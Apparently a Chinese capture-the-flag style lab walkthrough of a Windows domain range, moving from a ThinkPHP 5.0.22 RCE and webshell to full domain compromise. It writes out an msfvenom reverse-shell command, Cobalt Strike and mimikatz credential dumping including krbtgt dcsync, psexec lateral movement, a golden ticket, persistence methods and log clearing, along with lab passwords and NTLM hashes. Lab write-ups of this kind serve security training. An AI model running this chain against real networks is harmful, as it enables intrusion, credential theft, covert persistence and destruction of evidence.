环境搭建

虚拟机密码

win7 sun\heart 123.com

sun\Administrator dc123.com

2008 sun\admin 2020.com

网络

win7 外网 IP: 192.168.135.150

内网 IP:192.168.138.136

2008 内网 IP:192.168.138.138

记得把 win7 防火墙关掉,不然其他机器没法去 ping 通 win7

2008

win7 开启 web 服务:

访问 192.168.135.150 :

信息搜集

扫描端口:

ThinkPHP V5

80 端口是 ThinkPHP V5.0 版本,搜索看看有哪些漏洞:

https://y4er.com/posts/thinkphp5-rce/

存在漏洞:

确定 thinkphp 具体版本:

为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用$_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

版本为:ThinkPHP V5.0.22

kali 中搜索:有一个 5.X 的 RCE

并且也有相关的 POC

看一下进程,发现无杀软那么不用免杀直接写webshell

echo写一句话木马进去,因为之前查看过没有杀软,这里就不需要做免杀处理

成功写入:

蚁剑连接:

thinkphp批量检测

出自:https://drunkmars.top/2021/07/06/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA5/

这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢?

这里我找到了一个thinkphp漏洞批量检测的脚本

这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存

漏洞利用

蚁剑信息收集

通过之前的 thinkphp 5.0 的 RCE 漏洞,上传了 shell.php,并且蚁剑连接成功,接下来对内网的信息进行收集:

首先看到当前的用户权限是 Administrator

并且暴露了内网 IP:192.168.138.136

查看一下域信息:”

内网渗透

上线 msf:

kali 生成一个后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.128 LPORT=4444 -f exe > abc.exe

将 abc.exe 通过蚁剑上传

执行 abc.exe

msf 开启监听

上线成功:

内网信息收集

尝试 getsystem 提权:

对域进行信息搜集

只有一个域控,这里直接ping一下域控得到域控 ip 为 192.168.138.138

获取凭证

  • 域管理员 (Administrator):
    • 明文密码:dc123.com
    • NTLM 哈希:e8bea972b3549868cecd667a64a6ac46
    • 所属域:SUN.COM
  • 普通用户 (leo):
    • 明文密码:123.com
    • NTLM 哈希:afffeba176210fad4628f0524bfe1942

上线 CS

除了用蚁剑连接上线 msf,还可以用 CS:

CS 部署方式

CS 部署方式

服务端(kali)

将天狐工具箱中的 CS 上传到 kali:

赋予执行权限:

sudo chmod -R +x ~/workspace/cs4.7/Cobalt_Strike_4.7

Kali 端启动 TeamServer

TeamServer 是所有攻击的中转站。

sudo ./teamserver <kali-IP> <连接密码>

Windows 客户端连接

创建监听器

生成木马

之后选择保存文件地址

可以直接利用蚁剑把文件上传

通过蚁剑执行 beacon.exe 成功上线 CS:

CS 常用命令:

CS 常用命令:

解决延迟:sleep 0

运行 Windows 的原生命令要在前面加shell

  • shell whoami
  • ****shell ipconfig /all
  • shell net user

抓取明文密码:logonpasswords

抓取哈希:hashdump

扫描网段和端口:portscan [目标IP/网段] [端口列表] [扫描类型] [并发数]

抓取明文密码:logonpasswords

也可以用 **视图->密码凭证 **,所有被抓到的账号和密码都在这里

内网信息收集

扫描内网网段

portscan 192.168.138.0/24

内网横向移动

psexec64连接域控

首先要有域管理员的凭据:

  • 域管理员 (Administrator):
    • 明文密码:dc123.com
    • NTLM 哈希:e8bea972b3549868cecd667a64a6ac46
    • 所属域:SUN.COM

配置监听器

由于域控通常在内网深处,无法直接连接 Kali 外网 IP,创建一个 SMB Beacon 监听器

接下来在 视图->目标列表

就可以看到域控了:

右键->横向移动->psexec64

填入账号密码,选择监听器

选择会话

成功控制域控机器

权限维持

1. 域控专属:黄金票据 (Golden Ticket) —— 最隐蔽

这是域渗透的“终极权限”。只要拿到域内 krbtgt 用户的哈希,你就可以伪造任何用户的身份(包括域管),且不受密码修改的影响。

域内 krbtgt 用户的哈希

在域控的 Beacon 上运行:hashdump 或 mimikatz lsadump::dcsync /domain:SUN.COM /user:krbtgt。

**krbtgt:502:aad3b435b51404eeaad3b435b51404ee:65dc23a67f31503698981f2665f9d858:::**

数据的格式是:用户名 : RID : LM哈希 : NTLM哈希 :::

  • 用户名: krbtgt
  • RID: 502 (这是 krbtgt 账号的固定标识)
  • LM哈希: aad3b435b51404eeaad3b435b51404ee (这是空密码或者禁用 LM 时的占位符)
  • NTLM哈希: **65dc23a67f31503698981f2665f9d858** (这是我们要用的核心数据)

域 SID 获取: shell whoami /user

这里会出现一个问题,因为当前已经处于 **SYSTEM** 权限(SID 为 S-1-5-18),它是本地系统的最高权限,但它不是域用户,所以通过它查不到域的 SID。

要获取域 SID,我们需要查询域内用户的信息。

最简单的 WMI 查询: shell wmic useraccount where name='Administrator' get sid

查询域控制器信息: shell net group "domain admins" /domain

获得 SID:S-1-5-21-3388020223-1982701712-4030140183 (要去掉后面的 500)

黄金票据

Golden ticket for 'krbtgt @ SUN.COM' successfully submitted for current session,说明 Mimikatz 已经成功伪造了这张黄金票据,并将其直接塞进了当前 Beacon 进程的内存里。

用 CS 工具确实比 msf 手注方便不少啊 —

2. 系统级维持:计划任务 (Scheduled Tasks) —— 最常用

利用 Windows 的 schtasks 定时运行你的木马。

Beacon 命令:

  • 图形化操作: 在 Beacon 右键 -> Explore -> Browser 上传木马到系统目录,然后手动输入上述命令。

3. 服务维持 (Service Persistence) —— 权限最高

创建一个开机自启动的服务,由于服务通常以 SYSTEM 权限运行,稳定性极高。

Beacon 命令:


4. 注册表维持 (Registry Run Keys)

修改注册表的启动项,用户每次登录时都会触发木马。

命令:

日志清除

日志清除有两种方法,一种是使用kali里面自带的命令进行日志清除

第二种方法则是进入服务器管理器自行清除